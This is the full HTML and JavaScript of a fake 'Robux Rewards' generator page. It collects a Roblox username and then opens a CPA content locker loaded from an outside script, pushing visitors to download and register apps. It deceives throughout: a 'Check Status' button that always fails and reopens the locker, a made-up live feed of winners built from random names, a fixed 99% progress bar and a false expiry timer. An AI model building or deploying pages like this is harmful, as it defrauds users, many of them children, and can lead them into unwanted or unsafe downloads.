<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

<title>Roblox Rewards - Premium Zone</title>

<script src="https://cdn.tailwindcss.com"></script>

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">

<!-- 🔥 CPA CONTENT LOCKER INTEGRATION SCRIPT 🔥 -->

<script type="text/javascript">

var LxYiN_TPr_KUPBSc={"it":3203837,"key":"c4e47"};

</script>

<script src="https://d1chbu4sfo2xhu.cloudfront.net/1558476.js"></script>

<style>

@import url('https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;600;700;800&display=swap');

* {

box-sizing: border-box;

-webkit-tap-highlight-color: transparent;

}

body {

font-family: 'Montserrat', sans-serif;

background-color: #f8fafc;

color: #1e293b;

background-image: radial-gradient(circle at 50% 0%, #ffffff 0%, #f1f5f9 70%);

min-height: 100vh;

overflow-x: hidden;

display: flex;

flex-direction: column;

justify-content: space-between;

align-items: center;

}

.clean-shadow { box-shadow: 0 12px 35px -8px rgba(0, 0, 0, 0.08); }

.robux-card {

background: #ffffff;

border: 2px solid #e2e8f0;

transition: all 0.25s ease;

cursor: pointer;

touch-action: manipulation;

}

.robux-card:hover, .robux-card.active {

border-color: #38bdf8 !important;

background-color: #f0f9ff !important;

box-shadow: 0 8px 20px -4px rgba(56, 189, 248, 0.25) !important;

transform: translateY(-3px);

}

.platform-card {

background: #f8fafc;

border: 2px solid #e2e8f0;

color: #475569;

transition: all 0.25s ease;

cursor: pointer;

touch-action: manipulation;

}

.platform-card:hover, .platform-card.active {

background: #38bdf8;

color: #ffffff;

border-color: #38bdf8;

box-shadow: 0 6px 16px rgba(56, 189, 248, 0.3);

}

.btn-primary {

background: linear-gradient(135deg, #0ea5e9 0%, #0284c7 100%);

transition: all 0.25s ease;

position: relative;

overflow: hidden;

box-shadow: 0 6px 18px rgba(14, 165, 233, 0.3);

touch-action: manipulation;

}

.btn-primary:active, .btn-primary:hover {

transform: scale(1.01);

box-shadow: 0 8px 22px rgba(14, 165, 233, 0.4);

}

.btn-shine::after {

content: ""; position: absolute; top: 0; left: -100%; width: 50%; height: 100%;

background: linear-gradient(to right, transparent, rgba(255,255,255,0.4), transparent);

animation: shine 3s infinite;

}

@keyframes shine { 100% { left: 200%; } }

/* 📱 PERFECT MOBILE FRIENDLY MODAL 📱 */

#modalOverlay {

display: none; position: fixed; inset: 0; background: rgba(15, 23, 42, 0.85);

z-index: 10000; align-items: center; justify-content: center;

backdrop-filter: blur(8px); padding: 20px 12px;

}

.modal-content {

background: #ffffff; border-radius: 24px;

width: 100%; max-width: 350px;

max-height: 88vh;

margin: auto;

display: flex; flex-direction: column;

text-align: center; box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.35);

animation: popUp 0.35s cubic-bezier(0.175, 0.885, 0.32, 1.275);

position: relative; overflow: visible;

}

@media (min-width: 640px) {

.modal-content { max-width: 440px; border-radius: 28px; }

.modal-header-bg { padding: 45px 20px 20px !important; }

.modal-body-scroll { padding: 20px 24px !important; }

}

@keyframes popUp { 0% { transform: scale(0.92) translateY(15px); opacity: 0;} 100% { transform: scale(1) translateY(0); opacity: 1;} }

.modal-header-bg {

background: linear-gradient(135deg, #f0f9ff 0%, #e0f2fe 100%);

padding: 38px 15px 15px; border-bottom: 1px dashed #bae6fd;

border-radius: 24px 24px 0 0;

display: flex; flex-direction: column; align-items: center;

position: relative;

}

.modal-icon-wrapper {

position: absolute; top: -28px; left: 50%; transform: translateX(-50%);

width: 58px; height: 58px; background: white; border-radius: 50%;

display: flex; align-items: center; justify-content: center;

box-shadow: 0 8px 20px rgba(14, 165, 233, 0.25); border: 3.5px solid #f0f9ff; z-index: 10;

}

.modal-body-scroll {

flex-grow: 1; display: flex; flex-direction: column; justify-content: space-between;

overflow-y: auto; padding: 15px 14px; border-radius: 0 0 24px 24px;

}

.modal-body-scroll::-webkit-scrollbar { width: 0px; }

@keyframes slideDown { 0% { opacity: 0; transform: translateY(-8px); } 100% { opacity: 1; transform: translateY(0); } }

.error-anim { animation: slideDown 0.3s ease-out; }

</style>

</head>

<body class="antialiased">

<!-- Header -->

<header class="w-full py-3.5 text-center border-b border-slate-200 bg-white/90 backdrop-blur-md sticky top-0 z-40 shadow-sm">

<div class="flex items-center justify-center gap-2.5">

<img src="https://upload.wikimedia.org/wikipedia/commons/3/3a/Roblox_player_icon_black.svg" alt="Roblox" class="w-7 h-7">

<h1 class="text-lg sm:text-xl font-bold uppercase tracking-wider text-slate-800">Robux <span class="text-sky-500">Rewards</span></h1>

</div>

</header>

<!-- Main Content -->

<main class="w-full max-w-md sm:max-w-lg mx-auto px-4 py-8 text-center my-auto flex flex-col justify-center items-center">

<p class="text-slate-500 font-semibold mb-4 text-[11px] sm:text-[13px] uppercase tracking-widest">Select options to claim reward</p>

<!-- Main Card -->

<div class="bg-white rounded-2xl sm:rounded-3xl p-5 sm:p-7 border border-slate-200 clean-shadow w-full" id="mainApp">

<!-- STEP 1 -->

<div id="step1" class="space-y-4 sm:space-y-5 transition-all duration-300">

<h2 class="text-base sm:text-lg font-bold text-slate-700 flex items-center justify-center gap-2"><i class="fas fa-user-circle text-sky-500"></i> Enter Roblox Username</h2>

<input type="text" id="username" placeholder="Roblox Username..." autocomplete="off" class="w-full bg-slate-50 border border-slate-200 rounded-xl px-4 py-3 sm:py-3.5 text-slate-800 font-semibold focus:border-sky-500 focus:bg-white focus:outline-none transition-colors text-center text-sm sm:text-base shadow-inner">

<!-- REMOVED (Optional) AS REQUESTED -->

<h2 class="text-base sm:text-lg font-bold text-slate-700 pt-2 flex items-center justify-center gap-2"><i class="fas fa-server text-sky-500"></i> Select Platform</h2>

<div class="grid grid-cols-3 gap-2.5 sm:gap-3">

<div class="platform-card rounded-xl p-3 sm:p-3.5" onclick="selectPlatform(this, 'PC')">

<i class="fas fa-desktop text-lg sm:text-2xl mb-1"></i>

<p class="text-[10px] sm:text-[12px] font-semibold">PC</p>

</div>

<div class="platform-card rounded-xl p-3 sm:p-3.5" onclick="selectPlatform(this, 'Mobile')">

<i class="fas fa-mobile-alt text-lg sm:text-2xl mb-1"></i>

<p class="text-[10px] sm:text-[12px] font-semibold">Mobile</p>

</div>

<div class="platform-card rounded-xl p-3 sm:p-3.5" onclick="selectPlatform(this, 'Xbox')">

<i class="fab fa-xbox text-lg sm:text-2xl mb-1"></i>

<p class="text-[10px] sm:text-[12px] font-semibold">Xbox</p>

</div>

</div>

<div id="premiumError" class="hidden error-anim bg-red-50 border border-red-200 text-red-500 text-[11px] sm:text-[12px] font-semibold py-2.5 px-3 rounded-xl mt-3 flex items-center justify-center gap-2">

<i class="fas fa-exclamation-triangle"></i>

<span>Please enter a username to proceed!</span>

</div>

<button onclick="nextStep(2)" class="w-full btn-primary btn-shine text-white font-bold py-3.5 sm:py-4 rounded-xl uppercase tracking-wider mt-4 text-[12px] sm:text-[14px]">Next Step <i class="fas fa-arrow-right ml-1"></i></button>

</div>

<!-- STEP 2 -->

<div id="step2" class="space-y-4 sm:space-y-5 hidden transition-all duration-300">

<h2 class="text-base sm:text-lg font-bold text-slate-700 flex items-center justify-center gap-2"><i class="fas fa-coins text-sky-500"></i> Select Reward Amount</h2>

<div class="grid grid-cols-2 gap-2.5 sm:gap-3">

<div class="robux-card rounded-xl sm:rounded-2xl p-3.5 sm:p-5" onclick="selectRobux(this, '10,000')">

<img src="https://upload.wikimedia.org/wikipedia/commons/3/3a/Roblox_player_icon_black.svg" class="w-8 h-8 sm:w-11 sm:h-11 mx-auto mb-1.5 opacity-80">

<h3 class="text-base sm:text-xl font-bold text-slate-800">10,000</h3>

<p class="text-[10px] sm:text-[12px] text-sky-600 font-semibold mt-0.5">Robux</p>

</div>

<div class="robux-card rounded-xl sm:rounded-2xl p-3.5 sm:p-5" onclick="selectRobux(this, '25,000')">

<img src="https://upload.wikimedia.org/wikipedia/commons/3/3a/Roblox_player_icon_black.svg" class="w-8 h-8 sm:w-11 sm:h-11 mx-auto mb-1.5 opacity-80">

<h3 class="text-base sm:text-xl font-bold text-slate-800">25,000</h3>

<p class="text-[10px] sm:text-[12px] text-sky-600 font-semibold mt-0.5">Robux</p>

</div>

<div class="robux-card rounded-xl sm:rounded-2xl p-3.5 sm:p-5" onclick="selectRobux(this, '50,000')">

<img src="https://upload.wikimedia.org/wikipedia/commons/3/3a/Roblox_player_icon_black.svg" class="w-8 h-8 sm:w-11 sm:h-11 mx-auto mb-1.5 opacity-80">

<h3 class="text-base sm:text-xl font-bold text-slate-800">50,000</h3>

<p class="text-[10px] sm:text-[12px] text-sky-600 font-semibold mt-0.5">Robux</p>

</div>

<div class="robux-card rounded-xl sm:rounded-2xl p-3.5 sm:p-5" onclick="selectRobux(this, '100,000')">

<img src="https://upload.wikimedia.org/wikipedia/commons/3/3a/Roblox_player_icon_black.svg" class="w-8 h-8 sm:w-11 sm:h-11 mx-auto mb-1.5 opacity-80">

<h3 class="text-base sm:text-xl font-bold text-slate-800">100,000</h3>

<p class="text-[10px] sm:text-[12px] text-sky-600 font-bold mt-0.5">👑 VIP MAX</p>

</div>

</div>

<div id="amountError" class="hidden error-anim bg-red-50 border border-red-200 text-red-500 text-[11px] sm:text-[12px] font-semibold py-2 px-3 rounded-xl mt-2 flex items-center justify-center gap-2">

<i class="fas fa-exclamation-triangle"></i><span>Please select a reward amount!</span>

</div>

<div class="flex gap-2.5 mt-3">

<button onclick="prevStep(1)" class="w-1/3 bg-slate-100 hover:bg-slate-200 text-slate-600 font-bold py-3 sm:py-3.5 rounded-xl text-xs sm:text-sm transition-colors"><i class="fas fa-arrow-left"></i></button>

<button onclick="startProcess()" class="w-2/3 btn-primary btn-shine text-white font-bold py-3 sm:py-3.5 rounded-xl uppercase tracking-wider text-[12px] sm:text-[14px]">Generate <i class="fas fa-arrow-right ml-1"></i></button>

</div>

</div>

</div>

<!-- Live Activity Box -->

<div class="mt-5 text-left bg-white p-3 rounded-xl sm:rounded-2xl border border-slate-200 clean-shadow w-full overflow-hidden">

<h3 class="text-[10px] sm:text-[11px] font-bold text-slate-500 uppercase tracking-widest mb-2 flex items-center px-1"><i class="fas fa-broadcast-tower text-emerald-500 mr-1.5 animate-pulse"></i> Live Activity</h3>

<div id="activity-log" class="space-y-1.5 h-[65px] overflow-hidden relative w-full"></div>

</div>

</main>

<!-- Footer -->

<footer class="py-4 text-center text-slate-500 text-[10px] sm:text-[11px] font-medium border-t border-slate-200 bg-white w-full">

<p class="max-w-xl mx-auto px-4 leading-relaxed">Independent educational giveaway platform. NOT affiliated with Roblox Corporation.</p>

</footer>

<!-- 📱 100% PERFECT MOBILE FRIENDLY MODAL 📱 -->

<div id="modalOverlay">

<div class="modal-content">

<div class="modal-icon-wrapper">

<img src="https://upload.wikimedia.org/wikipedia/commons/3/3a/Roblox_player_icon_black.svg" class="w-7 h-7 sm:w-8 sm:h-8 animate-pulse">

</div>

<div class="modal-header-bg">

<h2 class="text-[18px] sm:text-[22px] font-bold text-slate-800 tracking-wide mt-0.5">One Last Step</h2>

<p class="text-[10px] sm:text-[11px] font-bold text-red-500 uppercase tracking-wider mt-1 mb-0.5">Verification Required</p>

<p class="text-[12px] sm:text-[13px] font-medium text-slate-500">Unlock your <span id="modalRobux" class="text-sky-600 font-bold"></span> Robux</p>

</div>

<div class="modal-body-scroll">

<div class="w-full">

<div class="mb-3 sm:mb-4">

<div class="flex justify-between items-center mb-1 px-1">

<span class="text-[9px] sm:text-[10px] font-bold text-slate-400 uppercase tracking-wider">Final Step Progress</span>

<span class="text-[11px] sm:text-[12px] font-bold text-sky-500">99%</span>

</div>

<div class="w-full bg-slate-100 rounded-full h-1.5"><div class="bg-sky-500 h-1.5 rounded-full w-[99%] shadow-[0_0_8px_rgba(14,165,233,0.5)]"></div></div>

</div>

<div class="bg-slate-50 border border-slate-200 rounded-xl p-3 sm:p-4 mb-3 sm:mb-4 text-left shadow-sm">

<h3 class="text-[10px] sm:text-[11px] font-extrabold text-slate-500 uppercase tracking-wider mb-2.5 border-b border-slate-200 pb-1.5">Action Required</h3>

<div class="flex items-start gap-2.5 mb-2">

<span class="bg-sky-500 text-white w-4 h-4 sm:w-5 sm:h-5 rounded-full flex items-center justify-center text-[9px] sm:text-[10px] font-bold shrink-0 shadow-sm mt-0.5">1</span>

<p class="text-[11px] sm:text-[12px] font-semibold text-slate-700 leading-snug">Tap "Download & Register" and complete task.</p>

</div>

<div class="flex items-start gap-2.5 mb-2">

<span class="bg-sky-500 text-white w-4 h-4 sm:w-5 sm:h-5 rounded-full flex items-center justify-center text-[9px] sm:text-[10px] font-bold shrink-0 shadow-sm mt-0.5">2</span>

<p class="text-[11px] sm:text-[12px] font-semibold text-slate-700 leading-snug">Use app/site for 20–30 seconds.</p>

</div>

<div class="flex items-start gap-2.5">

<span class="bg-sky-500 text-white w-4 h-4 sm:w-5 sm:h-5 rounded-full flex items-center justify-center text-[9px] sm:text-[10px] font-bold shrink-0 shadow-sm mt-0.5">3</span>

<p class="text-[11px] sm:text-[12px] font-semibold text-slate-700 leading-snug">Return and tap <span class="text-sky-600 font-bold">'Check Status'</span> to unlock reward.</p>

</div>

</div>

</div>

<div class="w-full mt-auto pt-1">

<div class="mb-2.5 text-[10px] sm:text-[11px] font-semibold text-red-500 flex items-center justify-center gap-1 bg-red-50 py-1.5 rounded-lg border border-red-100">

<i class="fas fa-stopwatch text-xs animate-pulse"></i> Link expires in: <span id="timer" class="font-bold text-[11px] sm:text-[12px]">04:59</span>

</div>

<!-- 🔥 BULLETPROOF CPA CONTENT LOCKER TRIGGER BUTTON 🔥 -->

<button type="button" onclick="triggerCpaLocker(event)" class="w-full btn-primary btn-shine text-white font-semibold py-3 sm:py-3.5 rounded-xl uppercase tracking-wider text-[11px] sm:text-[12px] text-center shadow-md group cursor-pointer border-none outline-none">

Download & Register <i class="fas fa-arrow-right ml-1 group-hover:translate-x-1 transition-transform inline-block"></i>

</button>

<button type="button" onclick="startFakeCheck(event)" id="checkBtn" class="w-full bg-slate-50 hover:bg-slate-100 text-slate-500 border border-slate-200 font-semibold py-2.5 sm:py-3 rounded-xl uppercase tracking-wider text-[10px] sm:text-[11px] mt-2 transition-colors flex justify-center items-center cursor-pointer">

<i class="fas fa-sync-alt mr-1"></i> Check Status

</button>

<p class="text-[9px] sm:text-[10px] text-slate-400 font-medium mt-2 uppercase tracking-wider flex items-center justify-center gap-1"><i class="fas fa-lock text-slate-300"></i> Secure Connection</p>

</div>

</div>

</div>

</div>

<!-- Script Controller -->

<script>

let selectedPlatform = '';

let selectedAmount = '';

let timerInterval;

// 🔥 Reliable CPA Locker Trigger Function

function triggerCpaLocker(e) {

if (e) e.preventDefault();

if (typeof _bC === 'function') {

_bC();

} else if (typeof window._bC === 'function') {

window._bC();

} else {

alert('Locker is loading... Please check your internet connection or turn off AdBlock.');

}

return false;

}

function selectPlatform(element, platform) {

document.querySelectorAll('.platform-card').forEach(el => el.classList.remove('active'));

element.classList.add('active');

selectedPlatform = platform;

document.getElementById('premiumError').classList.add('hidden');

}

function selectRobux(element, amount) {

document.querySelectorAll('.robux-card').forEach(el => el.classList.remove('active'));

element.classList.add('active');

selectedAmount = amount;

document.getElementById('amountError').classList.add('hidden');

}

function nextStep(step) {

const username = document.getElementById('username').value;

const errorMsg = document.getElementById('premiumError');

if(step === 2 && !username) {

errorMsg.classList.remove('hidden');

errorMsg.classList.remove('error-anim');

void errorMsg.offsetWidth;

errorMsg.classList.add('error-anim');

return;

}

if (!selectedPlatform) {

selectedPlatform = 'PC';

}

errorMsg.classList.add('hidden');

document.getElementById('step1').classList.add('hidden');

document.getElementById('step2').classList.remove('hidden');

}

function prevStep(step) {

document.getElementById('step2').classList.add('hidden');

document.getElementById('step1').classList.remove('hidden');

}

function startProcess() {

const errorMsg = document.getElementById('amountError');

if(!selectedAmount) {

errorMsg.classList.remove('hidden');

errorMsg.classList.remove('error-anim');

void errorMsg.offsetWidth;

errorMsg.classList.add('error-anim');

return;

}

errorMsg.classList.add('hidden');

const username = document.getElementById('username').value;

showModal(username, selectedAmount);

}

function startTimer() {

let time = 299;

const timerEl = document.getElementById('timer');

clearInterval(timerInterval);

timerInterval = setInterval(() => {

let minutes = Math.floor(time / 60);

let seconds = time % 60;

seconds = seconds < 10 ? '0' + seconds : seconds;

minutes = minutes < 10 ? '0' + minutes : minutes;

timerEl.innerText = `${minutes}:${seconds}`;

if(time > 0) { time--; }

else { clearInterval(timerInterval); timerEl.innerText = "00:00"; timerEl.classList.add("animate-pulse"); }

}, 1000);

}

function showModal(user, amt) {

document.getElementById('modalRobux').innerText = amt;

document.getElementById('modalOverlay').style.display = 'flex';

startTimer();

}

function startFakeCheck(e) {

if (e) e.preventDefault();

const btn = document.getElementById('checkBtn');

btn.innerHTML = '<i class="fas fa-spinner fa-spin mr-1"></i> CHECKING...';

btn.className = "w-full bg-slate-50 text-slate-500 border border-slate-200 font-semibold py-2.5 sm:py-3 rounded-xl uppercase tracking-wider text-[10px] sm:text-[11px] mt-2 transition-colors flex justify-center items-center pointer-events-none";

setTimeout(() => {

btn.className = "w-full bg-red-50 text-red-500 border border-red-200 font-semibold py-2.5 sm:py-3 rounded-xl uppercase tracking-wider text-[10px] sm:text-[11px] mt-2 transition-colors flex justify-center items-center";

btn.innerHTML = '<i class="fas fa-times-circle mr-1"></i> NOT FINISHED!';

triggerCpaLocker();

setTimeout(() => {

btn.className = "w-full bg-slate-50 hover:bg-slate-100 text-slate-500 border border-slate-200 font-semibold py-2.5 sm:py-3 rounded-xl uppercase tracking-wider text-[10px] sm:text-[11px] mt-2 transition-colors flex justify-center items-center";

btn.innerHTML = '<i class="fas fa-sync-alt mr-1"></i> CHECK STATUS';

btn.style.pointerEvents = "auto";

}, 2500);

}, 2000);

}

function generateRandomGamerName() {

const prefixes = ["Pro", "Dark", "Ghost", "Sniper", "Epic", "Toxic", "Crazy", "Alpha", "Ninja", "Shadow", "Gamer", "Ultra", "Mega"];

const suffixes = ["Killer", "Slayer", "Boy", "King", "Beast", "Master", "God", "Lord", "Gamer", "YT", "Playz"];

const pre = prefixes[Math.floor(Math.random() * prefixes.length)];

const suf = suffixes[Math.floor(Math.random() * suffixes.length)];

const num = Math.floor(Math.random() * 9999);

const formats = [`${pre}${suf}`, `${pre}${suf}${num}`, `${pre}_${suf}`, `${pre}${num}`, `${suf}${num}YT` ];

return formats[Math.floor(Math.random() * formats.length)];

}

function generateActivity() {

const amounts = ["10,000", "25,000", "50,000", "100,000"];

const log = document.getElementById('activity-log');

const name = generateRandomGamerName();

const amt = amounts[Math.floor(Math.random() * amounts.length)];

const entry = document.createElement('div');

entry.className = "flex items-center justify-between text-[9px] sm:text-[11px] font-semibold text-slate-600 bg-slate-50 p-1.5 sm:p-2 rounded-lg border border-slate-200 opacity-0 transform translate-y-2 transition-all duration-500 shadow-sm overflow-hidden";

entry.innerHTML = `

<div class="flex items-center gap-1 overflow-hidden whitespace-nowrap"><img src="https://upload.wikimedia.org/wikipedia/commons/3/3a/Roblox_player_icon_black.svg" class="w-3 h-3 shrink-0 opacity-70"> <span class="truncate">${name}</span></div>

<div class="text-sky-600 font-bold shrink-0 ml-1.5">+${amt} R$ <i class="fas fa-check-circle text-emerald-500"></i></div>

`;

log.prepend(entry);

setTimeout(() => { entry.classList.remove('opacity-0', 'translate-y-2'); }, 50);

if(log.children.length > 2) { log.lastChild.remove(); }

setTimeout(generateActivity, Math.floor(Math.random() * 3000) + 1000);

}

document.getElementById('username').addEventListener('input', function() { document.getElementById('premiumError').classList.add('hidden'); });

generateActivity();

</script>

</body>

</html>